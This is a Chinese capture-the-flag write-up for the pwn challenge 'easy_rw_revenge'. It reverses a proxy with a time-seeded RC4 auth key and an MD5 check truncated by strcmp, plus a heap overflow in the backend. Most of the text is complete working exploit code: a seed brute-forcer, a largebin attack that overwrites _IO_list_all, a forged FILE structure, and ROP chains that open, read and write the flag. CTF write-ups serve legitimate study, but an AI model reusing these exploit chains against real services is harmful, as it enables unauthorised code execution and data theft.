easy_rw_revenge--ccb半决赛
这个是题目是easy_rw的plus,初赛是有栈溢出,半决赛换成了heap的漏洞,并且把proxy逻辑也改了改
webpwn_revenge
题目给了两个附件,一个是代理,一个后端服务,我们先来看代理端
proxy附件的核心部分如下
if ( (unsigned int)recv(client_fd, &packet_magic, 0x10u, 256) == 16 )
{
printf("[+] Received header: magic=0x%08x, length=%u\n", packet_magic, payload_len);
if ( (unsigned int)payload_len <= 0x2710 )
{
payload = malloc((unsigned int)payload_len);
if ( payload )
{
payload_bytes_read = recv(client_fd, payload, (unsigned int)payload_len, 256);
if ( payload_bytes_read == (unsigned __int64)(unsigned int)payload_len )
{
for ( xor_offset = 0; xor_offset < (unsigned int)payload_len; ++xor_offset )
*((_BYTE *)payload + xor_offset) ^= xor_key[xor_offset & 7];
if ( packet_magic == 0xFFFF2525 ) // 0xFFFF2525: auth packet. Payload is RC4-decrypted and compared against the hard-coded welcome token before issuing a cookie.
{
handle_auth_magic_packet(client_fd, xor_key, (unsigned __int8 *)payload, payload_len);
}
else if ( packet_magic == 0x7F687985 )// 0x7F687985: forward packet. First 32 bytes of payload are treated as a cookie; the remainder is forwarded to the backend service on 127.0.0.1:7777.
{
这里对于payload的内容有个异或加密,这个全置零就行
for ( xor_offset = 0; xor_offset < (unsigned int)payload_len; ++xor_offset )
*((_BYTE *)payload + xor_offset) ^= xor_key[xor_offset & 7];我们先来看认证逻辑 ,这里是有个rc4加密的,这里key用的是弱随机,用爆破即可
v10 = __readfsqword(0x28u);
fill_random_bytes_weak(rc4_key, 32); // VULN: authentication decrypts the client payload with an RC4 key generated by fill_random_bytes_weak(). Because that key is derived from srand(time(0))/rand(), an attacker can predict it and craft a valid auth packet.
rc4_init_state(&rc4_state, rc4_key, 32);
rc4_crypt_buffer(&rc4_state, payload, payload_len);
if ( !strcmp((const char *)payload, "#welcome!_c1sCn_2026") )// Auth check against a fixed known plaintext token. With a predictable RC4 key, this comparison is enough to forge a valid login and obtain a cookie.
{
fill_random_bytes(issued_cookie, 32);
append_cookie_to_store(issued_cookie, 32);
send(client_fd, issued_cookie, 0x20u, 0);
puts("[+] Auth successful, cookie sent");
return 1;
}通过认证之后就能获得cookie进而实现这个代理通信,这里在具体的接收过程需要异常处理,因为这里是紧接着close(fd)连接的。
if ( (int)payload_len > 31 )
{
if ( cookie_exists_in_store(payload, 32) )
{
backend_fd = socket(2, 1, 0);
if ( backend_fd >= 0 )
{
backend_addr.sa_family = 2;
*(_WORD *)backend_addr.sa_data = htons(7777u);
inet_pton(2, "127.0.0.1", &backend_addr.sa_data[2]);
if ( connect(backend_fd, &backend_addr, 0x10u) >= 0 )
{
send(backend_fd, payload + 32, (int)(payload_len - 32), 0);
backend_response_len = recv(backend_fd, backend_response, 0x1000u, 0);
if ( backend_response_len > 0 )
{
send(client_fd, backend_response, backend_response_len, 0);
printf("[+] Forwarded response to client: %d bytes\n", backend_response_len);
}
close(backend_fd);
puts("[+] Forward successful");
return 1;
}所以说我们首先来想办法通过取得认证cookie,我们首先断点到这个位置看一下加密
根据这里以及栈上局部变量的位置
(unsigned int)recv(client_fd, &packet_magic, 0x10u, 256) == 0x10我们推断这里的消息的格式是这个样子,长度的话是正好满足0x10这个长度的
magic (4) | xor_key (8) | payload_len (4)之后我们发送payload就会进行处理,这里为了避免xor_key的影响,我们把xor_key设置成0
之后我们就能接收到cookie,接收cookie的代码如下
def rc4_init_state(key):
s = list(range(256))
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (j + s[i] + k[i]) & 0xff
s[i], s[j] = s[j], s[i]
return [s, 0, 0]
def rc4_crypt(state, data):
s, i, j = state
out = bytearray(data)
for idx, ch in enumerate(out):
i = (i + 1) & 0xff
j = (j + s[i]) & 0xff
s[i], s[j] = s[j], s[i]
out[idx] = ch ^ s[(s[i] + s[j]) & 0xff]
state[1] = i
state[2] = j
return bytes(out)
def weak_key_from_time(seed, n=0x20):
HOST_LIBC.srand(ctypes.c_uint(seed))
return bytes(HOST_LIBC.rand() & 0xff for _ in range(n))
def wrap_packet(magic, payload, xor_key=b"\x00" * 8):
body = bytes(ch ^ xor_key[i & 7] for i, ch in enumerate(payload))
return p32(magic) + xor_key + p32(len(body)) + body
now = int(time.time())
cookie = None
#弱随机,可以通过简单的爆破
for delta in range(-8, 9):
seed = now + delta
cipher = rc4_crypt(rc4_init_state(weak_key_from_time(seed)), b"#welcome!_c1sCn_2026\x00")
io = remote("127.0.0.1", 9999)
io.send(wrap_packet(0xFFFF2525, cipher))
#这里结构过程中对面会关闭连接,我们需要额外加上异常处理,这样的话才能循环
try:
data = io.recv(timeout=0.5)
except EOFError:
data = b""
finally:
io.close()
if data and len(data) == 0x20:
cookie = data
print(f"[+] seed = {seed}")
print(f"[+] cookie = {data.hex()}")
break之后我们再去研究一下proxy的信息转发的功能
这里是把cookie填空到payload里面
if ( cookie_exists_in_store(payload, 32) )这里是进行发送,
send(backend_fd, payload + 32, (int)(payload_len - 32), 0);这里的格式大致是下面这样的
magic (4) | xor_key (8) | payload_len (4) | cookie(32) | payload < 0x1000这样简单的定义一个序列化的构造
def build_pay(pay):
pd = p32(0x7F687985)
pd += p64(0)
pd += p32(len(pay)+32)
pd += cookie
pd += pay
return pd之后我们再去研究后端进程,这里是要求我们需要以"rtsp://"这个开头
rtsp_prefix_len = strlen("rtsp://");
if ( request_len < rtsp_prefix_len || memcmp(request_buf, "rtsp://", rtsp_prefix_len) )之后后面还有一个,这里需要们伪造用户名,然后再后面加上/
slash_pos = (const char *)memchr(rtsp_body, '/', request_len - (__int64)rtsp_prefix_len);这里是对我们用户名做出的要求,要求经过md5加密之后能相等,这里是用strcmp进行比较的,所以说是存在字符截断的
v5 = strlen(username);
MD5(username, v5, md5_digest);
*(_QWORD *)expected_digest = 0x7C994FE632004064LL;
v29 = 0xA430445967CA1EACLL;
if ( strcmp(md5_digest, expected_digest) )这里的只需要保证三个字节相等就行了也就是644000

这里可以写个爆破脚本的模版,之后我们可以绕过这个检查了
import hashlib
import itertools
import string
target = b"\x64\x40\x00"
alphabet = string.ascii_letters + string.digits
for n in range(1, 6):
for x in itertools.product(alphabet, repeat=n):
s = ''.join(x).encode()
if hashlib.md5(s).digest()[:3] == target:
print("found:", s, hashlib.md5(s).hexdigest())
raise SystemExit
#LAPTOP-G0KOPP7R :: PWN/easy_rw/easy_rw_revenge » python3 md.py
#found: b'OnkI' 6440001ddb3fb9ab106b55f74f7dbd01之后就是最后的一个需要逆向的地方了,json格式的封装
// Parses a brace-wrapped, colon-delimited request body into command/param1/param2/binary fields. Despite the log string, this is not real JSON.
int __fastcall parse_braced_command_fields(const char *body, int body_len, parsed_request_t *out)
{
int n31; // [rsp+20h] [rbp-40h]
int n255; // [rsp+24h] [rbp-3Ch]
int n255_1; // [rsp+28h] [rbp-38h]
int n1024; // [rsp+2Ch] [rbp-34h]
const char *s; // [rsp+30h] [rbp-30h]
void *sa; // [rsp+30h] [rbp-30h]
void *sb; // [rsp+30h] [rbp-30h]
const char *v12; // [rsp+38h] [rbp-28h]
char *v13; // [rsp+40h] [rbp-20h]
char *v14; // [rsp+48h] [rbp-18h]
char *v15; // [rsp+50h] [rbp-10h]
if ( body_len <= 1 || *body != '{' || body[body_len - 1] != '}' )
return -1;
s = body + 1;
v12 = &body[body_len - 1];
v13 = (char *)memchr(body + 1, ':', body_len - 2LL);
if ( !v13 )
return -1;
n31 = (_DWORD)v13 - (_DWORD)s;
if ( (unsigned int)((_DWORD)v13 - (_DWORD)s) > 0x1F )
n31 = 31;
memcpy(out, s, n31);
out->command[n31] = 0;
sa = v13 + 1;
v14 = (char *)memchr(v13 + 1, ':', v12 - (v13 + 1));
if ( !v14 )
return -1;
n255 = (_DWORD)v14 - (_DWORD)sa;
if ( (unsigned int)((_DWORD)v14 - (_DWORD)sa) > 0xFF )
n255 = 255;
memcpy(out->param1, sa, n255);
out->param1[n255] = 0;
sb = v14 + 1;
v15 = (char *)memchr(v14 + 1, ':', v12 - (v14 + 1));
if ( !v15 )
return -1;
n255_1 = (_DWORD)v15 - (_DWORD)sb;
if ( (unsigned int)((_DWORD)v15 - (_DWORD)sb) > 0xFF )
n255_1 = 255;
memcpy(out->param2, sb, n255_1);
out->param2[n255_1] = 0;
n1024 = (_DWORD)v12 - ((_DWORD)v15 + 1);
if ( (unsigned int)n1024 > 0x400 )
n1024 = 1024;
memcpy(out->binary, v15 + 1, n1024);
out->binary_len = n1024;
return 0;
}之后我们开启外挂,不一个一个敲字符了,直接让ai给我们写好最后的框架了
def rtsp_body(cmd, a=b"", b=b"", c=b""):
return b"{" + cmd + b":" + a + b":" + b + b":" + c + b"}"
def rtsp_req(cmd, a=b"", b=b"", c=b""):
return b"rtsp://OnkI/" + rtsp_body(cmd, a, b, c)
def forward(req):
io = remote("127.0.0.1", 9999)
io.send(build_pay(req))
try:
return io.recvrepeat(0.3)
except EOFError:
return b""
finally:
io.close()
def add(idx, size, data):
return forward(rtsp_req(b"add", str(size).encode(), str(idx).encode(), data))
def edit(idx, data):
return forward(rtsp_req(b"edit", str(idx).encode(), b"", data))
def show(idx):
return forward(rtsp_req(b"show", str(idx).encode()))
def delete(idx):
return forward(rtsp_req(b"delete", str(idx).encode()))经过我们这样还原之后,这个题目已经是普通的堆题差不多了,除cjson本身自带的额外的复杂的堆布局之外
这里比赛的时候是找了这个漏洞点的,但是吧,前面逆向没时间去静下心来去逆向
这里是有一个负数溢出的,我们输入data_len为非常大的数值的时候,就能溢出覆写低地址的地址
n = data_len;
if ( size <= (int)data_len )
n = size - 1;
memcpy(dest, data, n);这个是属于溢出类型的,但是不是最简单的溢出类型,而是只有add的时候有溢出
我们换用我们之前的实验模型去打的话是这样的
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-l 100']
context.log_level = 'debug'
io = process('./heap3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./heap3')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.2)
def cmd(choice):
rt("> ")
sl(str(choice))
def add(index,size,n,content):
cmd(1)
rt("input your index")
sl(str(index))
rt("input your size")
sl(str(size))
rt("input your content length")
sl(str(n))
rt("input your content")
s(content)
def edit(index,size,content):
cmd(2)
rt("input your index")
sl(str(index))
rt("input your size")
sl(str(size))
rt("input your content")
s(content)
def delete(index):
cmd(3)
rt("input your index")
sl(str(index))
def show(index,size):
cmd(4)
rt("input your index")
sl(str(index))
rt("input your size")
sl(str(size))
def exit():
cmd(5)
#这里我们需要提前规划好,一次性的完成溢出
add(0,0x510,0x510,'a'*0x510)
add(1,0x510,0x510,'b'*0x510)
add(2,0x500,0x500,'c'*0x500)
add(3,0x500,0x500,'d'*0x500)
add(4,0x520,0x520,'e'*0x520)
add(5,0x520,0x520,'f'*0x520)
#浅浅泄露一波libc和heap
delete(0)
delete(2)
add(0,0x510,0x510,'a')
add(2,0x500,0x500,'c')
show(0,0x10)
rt(b'\n')
lib = ru(6)-0x21ac61
rt(b'\x00\x00')
heap = ru(4)-0xcb0-0x20
pr(lib)
pr(heap)
#之后我们需要制造两个uaf重叠
#这里0和1共用一个指针
delete(0)
pd = p64(heap+0x290) * 2
pd = pd.ljust(0x510,b'\x00')
pd += p64(0x520)
pd += b'\x20'
add(0,0x510,0x520,pd)
delete(1)
add(1,0x510,0x510,b'a')
add(6,0x518,0x510,b'b')
#这里2和3共用一个指针
delete(2)
pd = p64(heap+0xcd0) * 2
pd = pd.ljust(0x500,b'\x00')
pd += p64(0x510)
pd += b'\x10'
add(2,0x500,0x510,pd)
delete(3)
add(3,0x500,0x500,b'a')
add(7,0x500,0x500,b'b')
#之后打largebinattack,修改IO_list_all
libc.address = lib
delete(1)
add(8,0x600,0x100,b'a'*0x100)
delete(2)
#delete(1)之后1号位已经被清成0了,要通过还保留悬空指针的0号位改chunk metadata
pd = p64(lib+0x21b110)*2+p64(heap+0x290)+p64(libc.sym['_IO_list_all']-0x20)
edit(0,len(pd),pd)
add(8,0x600,0x1,b'a')
#gdb.attach(io)
#之后伪造FILE结构体打IO
def build_fake_xdr_ops(x_setpostn_target):
ops = bytearray(0x48)
ops[0x28:0x30] = p64(x_setpostn_target)
return bytes(ops)
pop_rax = next(libc.search(asm("pop rax;ret")))
pop_rdi = next(libc.search(asm("pop rdi;ret")))
pop_rsi = next(libc.search(asm("pop rsi;ret")))
pop_rdx12 = next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = next(libc.search(asm("syscall;ret")))
leave_ret = next(libc.search(asm("leave;ret")))
add_rsp18 = next(libc.search(asm("add rsp,0x18;ret")))
close_addr = libc.sym['close']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
file_chunk_addr = heap + 0xcd0 + 0x10
file_addr = file_chunk_addr - 0x10
IO_wide_data_addr = file_addr + 0x110
wide_vtable_addr = file_addr + 0x220
_IO_stdfile_2_lock = lib + 0x21ca60
magic_gadget = lib + 0x16a0da
orw_addr = heap + 0x2a0 #orw那一块的首地址
chunk0 = heap + 0x2a0
orw = b'./flag\x00\x00'+p64(add_rsp18)+p64(0)+p64(0)
#close
orw += p64(leave_ret)
orw += p64(pop_rdi)
orw += p64(0)
orw += p64(close_addr)
#open
orw += p64(pop_rdi)
orw += p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
#read
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)
fake_xdr_ops_addr = chunk0 + len(orw)
orw = orw[:0x18] + p64(fake_xdr_ops_addr) + orw[0x20:]
edit(0,len(orw),orw)
support = bytearray(orw)
support += build_fake_xdr_ops(leave_ret)
edit(0, len(support), bytes(support))
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base
fake_io += p64(0) # _IO_buf_end
fake_io += p64(chunk0) # _IO_save_base
fake_io += p64(0) * 3 # _IO_backup_base _IO_save_end _markers
fake_io += p64(0) # _chain
fake_io += p32(2) # _fileno
fake_io += p32(0) # _flags2
fake_io += p64(0xffffffffffffffff) # _old_offset
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf
fake_io += p32(0)
fake_io += p64(_IO_stdfile_2_lock) # _lock
fake_io += p64(0xffffffffffffffff) # _offset
fake_io += p64(0) # _codecvt
fake_io += p64(IO_wide_data_addr) # _wide_data
fake_io += p64(0) * 3
fake_io += p32(0xffffffff) # _mode
fake_io += b"\x00" * 20
fake_io = fake_io.ljust(0xc8, b'\x00')
fake_io += p64(libc.sym['_IO_wfile_jumps'])
fake_io = fake_io.ljust(0x1e0, b'\x00')
fake_io += p64(wide_vtable_addr)
fake_io = fake_io.ljust(0x278, b'\x00')
fake_io += p64(magic_gadget)
edit(3, len(fake_io), fake_io)
pd = b'a'*0x510 + p64(0xfbad0000)
edit(6,len(pd),pd)
gdb.attach(io)
exit()
io.interactive()这个题目经过封装之后,打的最终exp如下
#!/usr/bin/env python3
from __future__ import annotations
import ctypes
import hashlib
import os
import time
from pwn import *
context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.arch = "amd64"
context.log_level = args.get("LOG", "error")
HOST = os.environ.get("PROXY_HOST", "127.0.0.1")
PORT = int(os.environ.get("PROXY_PORT", "29999"))
BACKEND_HOST = os.environ.get("BACKEND_HOST", "127.0.0.1")
BACKEND_PORT = int(os.environ.get("BACKEND_PORT", "27777"))
AUTH_MAGIC = 0xFFFF2525
FORWARD_MAGIC = 0x7F687985
AUTH_PLAIN = b"#welcome!_c1sCn_2026"
RTSP_USER = b"OnkI"
HOST_LIBC = ctypes.CDLL("./libc.so.6")
LEAK_OFF = 0x21B150
IO_LIST_ALL = 0x21B680
IO_WFILE_JUMPS = 0x2170C0
SETCONTEXT = 0x539E0
POP_RDI = 0x2A3E5
POP_RSI = 0x2BE51
POP_RDX_R12 = 0x11F367
POP_RAX = 0x45EB0
SYSCALL = 0x91316
SPRAY_COUNT = int(args.get("SPRAY", "35000"))
SOCKFD = int(args.get("SOCKFD", "4"))
READFD = int(args.get("READFD", "5"))
FLAG_PATH = args.get("FLAG", "/flag").encode()
if not FLAG_PATH.endswith(b"\x00"):
FLAG_PATH += b"\x00"
A_REQ = 1568
C_REQ = 1536
B_REQ = 1520
A_CHUNK = 0x630
G_CHUNK = 0x30
C_CHUNK = 0x610
B_HDR_DELTA = A_CHUNK + G_CHUNK + C_CHUNK + G_CHUNK
def rc4_init_state(key):
s = list(range(256))
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (j + s[i] + k[i]) & 0xFF
s[i], s[j] = s[j], s[i]
return [s, 0, 0]
def rc4_crypt(state, data):
s, i, j = state
out = bytearray(data)
for idx, ch in enumerate(out):
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
out[idx] = ch ^ s[(s[i] + s[j]) & 0xFF]
state[1] = i
state[2] = j
return bytes(out)
def weak_key_from_time(seed, n=0x20):
HOST_LIBC.srand(ctypes.c_uint(seed))
return bytes(HOST_LIBC.rand() & 0xFF for _ in range(n))
def wrap_packet(magic, payload, xor_key=b"\x00" * 8):
body = bytes(ch ^ xor_key[i & 7] for i, ch in enumerate(payload))
return p32(magic) + xor_key + p32(len(body)) + body
def try_proxy_auth(seed):
io = remote(HOST, PORT)
rc4_key = weak_key_from_time(seed)
cipher = rc4_crypt(rc4_init_state(rc4_key), AUTH_PLAIN)
io.send(wrap_packet(AUTH_MAGIC, cipher))
try:
data = io.recv(timeout=0.5)
except EOFError:
data = b""
io.close()
if data and len(data) == 0x20:
return data
return None
def get_cookie():
now = int(time.time())
for delta in range(-8, 9):
seed = now + delta
cookie = try_proxy_auth(seed)
if cookie:
log.info(f"auth seed={seed}")
return cookie
raise RuntimeError("proxy auth failed")
def rtsp_body(cmd, a=b"", b=b"", c=b""):
return b"{" + cmd + b":" + a + b":" + b + b":" + c + b"}"
def rtsp_req(cmd, a=b"", b=b"", c=b""):
return b"rtsp://" + RTSP_USER + b"/" + rtsp_body(cmd, a, b, c)
def open_request(cookie, payload, via_proxy=True):
if via_proxy:
io = remote(HOST, PORT)
io.send(wrap_packet(FORWARD_MAGIC, cookie + payload))
else:
io = remote(BACKEND_HOST, BACKEND_PORT)
io.send(payload)
return io
def request(cookie, payload, via_proxy=True, timeout=0.2):
io = open_request(cookie, payload, via_proxy=via_proxy)
try:
data = io.recvrepeat(timeout)
except EOFError:
data = b""
io.close()
return data or b""
def add(cookie, idx, size, data, via_proxy=True):
req = rtsp_req(b"add", str(size).encode(), str(idx).encode(), data)
return request(cookie, req, via_proxy=via_proxy)
def delete(cookie, idx, via_proxy=True, timeout=0.2):
req = rtsp_req(b"delete", str(idx).encode())
return request(cookie, req, via_proxy=via_proxy, timeout=timeout)
def edit(cookie, idx, data, via_proxy=True):
req = rtsp_req(b"edit", str(idx).encode(), b"", data)
return request(cookie, req, via_proxy=via_proxy)
def show(cookie, idx, via_proxy=True):
req = rtsp_req(b"show", str(idx).encode())
return request(cookie, req, via_proxy=via_proxy)
def qwords(data):
return [u64(data[i:i + 8].ljust(8, b"\x00")) for i in range(0, len(data), 8)]
def spray(cookie, via_proxy):
for i in range(SPRAY_COUNT):
if i % 5000 == 0:
log.info(f"spray {i}/{SPRAY_COUNT}")
add(cookie, 8, 0x500, b"S", via_proxy=via_proxy)
def build_fake_file(fake, libc_base, stage):
buf = bytearray(b"\x00" * B_REQ)
uctx = fake + 0xB0
wide_vtable = fake + 0x1A0
stack = fake + 0x220
path = fake + 0x400
out = fake + 0x480
def q(fake_off, val):
off = fake_off - 0x10
buf[off:off + 8] = p64(val)
def d(fake_off, val):
off = fake_off - 0x10
buf[off:off + 4] = p32(val)
q(0x88, fake + 0x1E0)
q(0xA0, uctx)
d(0xC0, 1)
q(0xD8, libc_base + IO_WFILE_JUMPS)
q(0xC8, 0)
q(0xD0, 1)
q(0xE0, 0)
q(0x150, stack)
q(0x158, libc_base + POP_RDI)
q(0x190, wide_vtable)
q(0x208, libc_base + SETCONTEXT + 0x3D)
if stage == "marker":
mark = b"CATMARK!\n"
stack_data = flat(
SOCKFD,
libc_base + POP_RSI, path,
libc_base + POP_RDX_R12, len(mark), 0,
libc_base + POP_RAX, 1,
libc_base + SYSCALL,
libc_base + POP_RDI, 0,
libc_base + POP_RAX, 60,
libc_base + SYSCALL,
)
buf[path - fake - 0x10:path - fake - 0x10 + len(mark)] = mark
elif stage == "orw":
stack_data = flat(
0xffffffffffffff9c,
libc_base + POP_RSI, path,
libc_base + POP_RDX_R12, 0, 0,
libc_base + POP_RAX, 257,
libc_base + SYSCALL,
libc_base + POP_RDI, READFD,
libc_base + POP_RSI, out,
libc_base + POP_RDX_R12, 0x40, 0,
libc_base + POP_RAX, 0,
libc_base + SYSCALL,
libc_base + POP_RDI, SOCKFD,
libc_base + POP_RSI, out,
libc_base + POP_RDX_R12, 0x40, 0,
libc_base + POP_RAX, 1,
libc_base + SYSCALL,
libc_base + POP_RDI, 0,
libc_base + POP_RAX, 60,
libc_base + SYSCALL,
)
buf[path - fake - 0x10:path - fake - 0x10 + len(FLAG_PATH)] = FLAG_PATH
else:
raise ValueError(stage)
buf[0x210:0x210 + len(stack_data)] = stack_data
return bytes(buf)
def exploit(cookie, via_proxy, stage):
add(cookie, 0, A_REQ, b"A" * 8, via_proxy=via_proxy)
add(cookie, 1, 0x20, b"G" * 8, via_proxy=via_proxy)
add(cookie, 3, C_REQ, b"C" * 8, via_proxy=via_proxy)
add(cookie, 4, 0x20, b"G" * 8, via_proxy=via_proxy)
add(cookie, 6, B_REQ, b"B" * 8, via_proxy=via_proxy)
add(cookie, 7, 0x20, b"G" * 8, via_proxy=via_proxy)
spray(cookie, via_proxy)
add(cookie, 0, 0x1000, b"X", via_proxy=via_proxy)
vals = qwords(show(cookie, 0, via_proxy=via_proxy))
libc_base = vals[0] - LEAK_OFF
a_hdr = vals[2]
b_hdr = a_hdr + B_HDR_DELTA
log.success(f"libc_base = {hex(libc_base)}")
log.success(f"a_hdr = {hex(a_hdr)}")
log.success(f"b_hdr = {hex(b_hdr)}")
add(cookie, 2, 0x700, b"D" * 8, via_proxy=via_proxy)
add(cookie, 3, 0x1000, b"Y", via_proxy=via_proxy)
add(cookie, 5, 0x700, b"E" * 8, via_proxy=via_proxy)
add(cookie, 5, C_REQ, b"R" * 8, via_proxy=via_proxy)
vals2 = qwords(show(cookie, 0, via_proxy=via_proxy))
edit(
cookie,
0,
flat(
vals2[0],
vals2[1],
vals2[2],
libc_base + IO_LIST_ALL - 0x20,
),
via_proxy=via_proxy,
)
add(cookie, 6, 0x1000, b"Z", via_proxy=via_proxy)
edit(cookie, 6, build_fake_file(b_hdr, libc_base, stage), via_proxy=via_proxy)
return delete(cookie, 99, via_proxy=via_proxy, timeout=1.0)
def main():
assert hashlib.md5(RTSP_USER).digest()[:3] == b"\x64\x40\x00"
mode = args.get("MODE", "backend")
stage = args.get("STAGE", "marker")
via_proxy = mode != "backend"
cookie = get_cookie() if via_proxy else b""
data = exploit(cookie, via_proxy, stage)
print(repr(data))
if __name__ == "__main__":
main()